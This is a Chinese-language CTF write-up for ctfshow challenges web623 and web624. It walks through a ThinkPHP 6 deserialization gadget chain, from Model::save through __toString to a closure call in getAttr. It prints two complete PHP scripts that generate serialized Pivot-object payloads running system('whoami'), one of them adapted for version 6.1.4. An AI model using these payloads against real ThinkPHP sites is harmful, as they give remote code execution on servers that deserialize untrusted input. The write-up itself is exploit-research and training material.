官方手册 本文为了做出ctfshow的thinkphp最后的TP6反序列化,利用网上知识,对反序列化进行复现挖掘
上一集thinkphp5.1.38反序列化
web623
具体版本我也不知道,首先环境弄好
1
2
3
| composer create-project topthink/think tp6
cd tp6
php think run
|
然后访问发现能够正常启动,就说明环境是对的,再把东西放在小皮里面,创建一个网站,选择public
为网站根目录即可,thinkphp都是这样,那么开始全局搜索入口点,找了一会发现仅有一个可以利用的vendor/topthink/think-orm/src/Model.php
中找到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->get = [];
$this->lazySave = false;
return true;
}
|
因为没有传入值,$this->setAttrs($data);
不用看,由于不可能返回False,这里必须要跳出,所以empty也不用看了,看了一下这个函数trigger
,是进行了

但是$this->withEvent
默认为1,所以这里就是进行一个函数的调用,但是我们要的是true,所以$this->withEvent
要为False,$result
必须为True,所以跟进一下这两个方法,

checkData()
没有返回,跟进$this->getChangedData()

$this->force
为true
时,强制返回所有当前数据,就可以把值给赋值到$data
了,
继续跟进$this->checkAllowFields()
,由于$this->field
确实为空,所以


这里使用.
进行拼接,会触发__toString()
,我们就可以利用tp5的部分链子了
1
2
3
| Conversion::__toString()
Conversion::toJson()
Conversion::toArray()
|
没有其他可利用的方法,所以就是这里了

$data = array_merge($this->data, $this->relation);
将这个合并为键值对,继续跟进



$this->convertNameToCamel
这里为空,$this->strict
默认也是true,所以直接return,所以$fieldName
与$data
一致,就直接返回了,那么getAttr()
里面的$value
就是我们传入的$data
。跟进方法发现
1
2
| $closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
|
这里就能直接RCE了,参数啥的太混了,自己慢慢写,能写出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| <?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"whoami"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));
|
web624
但是我是6.1.4来进行的测试也成功了,最后的方法变成了这个样子

由于加入了闭包,所以不能直接命令执行了,

跟进另外一个方法,看到这里很容易进行命令执行,但是前面的方法怎么过呢
in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])
进行一个数组赋值就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| <?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "whoami"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
|
可以看到就变了这个部分,然后就通杀了,但是这怎么这么难啊,根本想不到